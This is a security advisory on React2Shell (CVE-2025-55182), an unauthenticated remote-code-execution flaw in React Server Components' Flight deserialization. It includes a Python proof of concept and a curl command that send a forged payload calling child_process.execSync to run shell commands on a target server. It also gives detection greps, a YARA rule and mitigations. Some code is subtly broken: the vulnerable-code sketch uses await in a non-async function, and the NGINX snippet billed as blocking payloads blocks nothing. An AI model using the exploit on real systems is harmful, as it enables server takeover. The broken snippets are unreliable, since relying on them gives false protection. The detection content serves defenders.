React2Shell (CVE-2025-55182)
Executive Summary
React2Shell is a critical insecure deserialization vulnerability in the RSC (React Server Components) Flight protocol affecting React 19 and all frameworks that implement it, including Next.js 15.x/16.x. With a CVSS score of 10.0 (maximum), it allows an unauthenticated attacker to execute arbitrary code on the server with a single malicious HTTP request.
| Field | Detail |
|---|---|
| CVE | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| Type | Insecure deserialization / RCE |
| Vector | Network / No Authentication |
| Affects | React 19.0 – 19.2.0, Next.js 15.x/16.x, React Router, Waku, RedwoodSDK, Parcel, Vite RSC |
| Patched in | React 19.2.1 |
What is the RSC Flight Protocol?
React Server Components (RSC) use an internal protocol called Flight to serialize and transmit server-rendered components to the client. When a browser makes a request to a Next.js application with App Router, the server responds with a Flight payload containing the serialized component structure.
The simplified flow is:
Client (POST /rsc) → React Server → Deserializes Flight payload → Renders components → Response
The fundamental problem is that the server processes RSC payloads without proper validation, blindly trusting the incoming data structure.
Technical Analysis of the Vulnerability
The root cause: react-server
The vulnerability resides in how the react-server package processes @ type references during Flight payload deserialization. The server accepts malformed data that allows forging Chunk objects with attacker-controlled content.
Vulnerable code (simplified)
The core of the flaw lies in the Flight protocol’s chunk resolution logic:
// react-server/src/ReactFlightServer.js (conceptual simplified)
function processFlightPayload(payload) {
const chunks = parseChunks(payload);
for (const chunk of chunks) {
// ❌ VULNERABLE: Does not validate chunk type or content
// before resolving/executing its content
if (chunk.type === '@') {
// The '@' reference allows forging arbitrary Chunk objects
resolveChunk(chunk); // ← Executes internal logic with attacker data
}
}
}
function resolveChunk(chunk) {
// ❌ VULNERABLE: Accepts Blob with attacker-controlled code
if (chunk.value instanceof Blob) {
const code = await chunk.value.text();
// Attacker's code executes in the server context
return eval(code); // ← RCE
}
}
Exploitation chain
The attack follows these steps:
- Forge
@reference: The attacker abuses React’s@deserialization to create a fakeChunkobject - Inject malicious Blob: Blob deserialization is manipulated to inject arbitrary code
- Force resolution: Internal resolution logic is forced to execute on attacker-controlled data
- RCE: The server executes attacker code with the Node.js process privileges
Proof of Concept (PoC)
Direct HTTP exploit
#!/usr/bin/env python3
"""
React2Shell PoC — CVE-2025-55182
Insecure deserialization in RSC Flight Protocol
FOR EDUCATIONAL PURPOSES ONLY
"""
import requests
import sys
def exploit(target_url, command="id"):
# Malicious RSC Flight payload that abuses '@' deserialization
# to forge a Chunk with a Blob containing arbitrary code
malicious_rsc_payload = (
'0:["$@1",[]]\n'
'1:["$","div",null,{"children":"test"}]\n'
# Forged chunk injects code via Blob
f'2:{{"type":"@","value":{{"$$typeof":"blob",'
f'"content":"const proc = require(\'child_process\');'
f'proc.execSync(\'{command}\').toString()"}}}}'
)
headers = {
"Content-Type": "text/x-component",
"RSC": "1",
"Next-Action": "forged_action_id",
}
print(f"[*] Sending malicious RSC Flight payload to: {target_url}")
try:
response = requests.post(
target_url,
data=malicious_rsc_payload,
headers=headers,
timeout=10
)
print(f"[+] Status: {response.status_code}")
print(f"[+] Response:\n{response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <URL> [command]")
print(f"Example: {sys.argv[0]} http://target.com/rsc id")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
exploit(target, cmd)
cURL example
# Minimal PoC — send malicious RSC Flight payload
curl -X POST "http://target.com/" \
-H "Content-Type: text/x-component" \
-H "RSC: 1" \
-H "Next-Action: forged_action_id" \
--data-binary $'0:["$@1",[]]\n1:{"type":"@","value":{"$$typeof":"blob","content":"require(\'child_process\').execSync(\'id\').toString()"}}'
Detection
Indicators of Compromise (IoCs)
Search web access logs:
# Suspicious POST requests with RSC headers
grep -E "POST.*HTTP" access.log | grep -i "text/x-component"
# Look for Next-Action headers with unexpected values
grep -i "next-action" access.log | grep -v "legitimate_action_ids"
YARA Rule
rule React2Shell_CVE_2025_55182 {
meta:
description = "Detects React2Shell exploitation payloads"
cve = "CVE-2025-55182"
strings:
$header1 = "text/x-component" ascii
$header2 = "RSC: 1" ascii
$payload1 = "$$typeof" ascii
$payload2 = "blob" ascii
$exec1 = "child_process" ascii
$exec2 = "execSync" ascii
$exec3 = "spawnSync" ascii
condition:
($header1 and $header2) and ($payload1 and $payload2) and any of ($exec*)
}
Real-World Exploitation Activity
Active exploitation has been confirmed since December 5, 2025, reported by Wiz Research, Amazon Threat Intelligence, and Datadog. Observed post-exploitation activities include:
- 🔍 Reconnaissance: Fingerprinting compromised systems, privilege level verification
- 🌐 Network enumeration: Mapping network interfaces and sensitive credentials
- ⛏️ Cryptomining: Deploying XMRig to mine Monero
- ☁️ Cloud credential theft: Harvesting AWS/GCP/Azure credentials
- 🚪 Backdoors: Installing KSwapDoor for persistent access
Affected and Patched Versions
| Component | Vulnerable | Patched |
|---|---|---|
| React | 19.0, 19.1, 19.1.1, 19.2.0 | ≥ 19.2.1 |
| Next.js | 15.x, 16.x (App Router) | Vercel-specific update |
| React Router | With RSC enabled | Patched release |
| Waku | All with RSC | Patched release |
| RedwoodSDK | All with RSC | Patched release |
| Parcel | RSC plugin | Patched release |
| Vite | RSC plugin | Patched release |
Mitigation
Immediate (< 24 hours)
- Upgrade React to version 19.2.1 or higher
- Upgrade Next.js to the Vercel-patched version
- Rotate all secrets if the application was exposed before December 4, 2025
Compensating controls (if you can’t patch immediately)
# WAF rule — Block suspicious RSC payloads in NGINX
location / {
# Block requests with RSC Content-Type containing malicious patterns
if ($http_content_type ~* "text/x-component") {
set $rsc_check 1;
}
if ($request_method = POST) {
set $rsc_check "${rsc_check}1";
}
# Apply aggressive rate limiting to RSC POST requests
# and monitor in WAF
}
Long-term
- Implement continuous monitoring for RSC payloads
- Audit dependencies with
npm auditregularly - Consider moving critical components away from RSC if not necessary
References
New recovered files, straight to your inbox. No noise.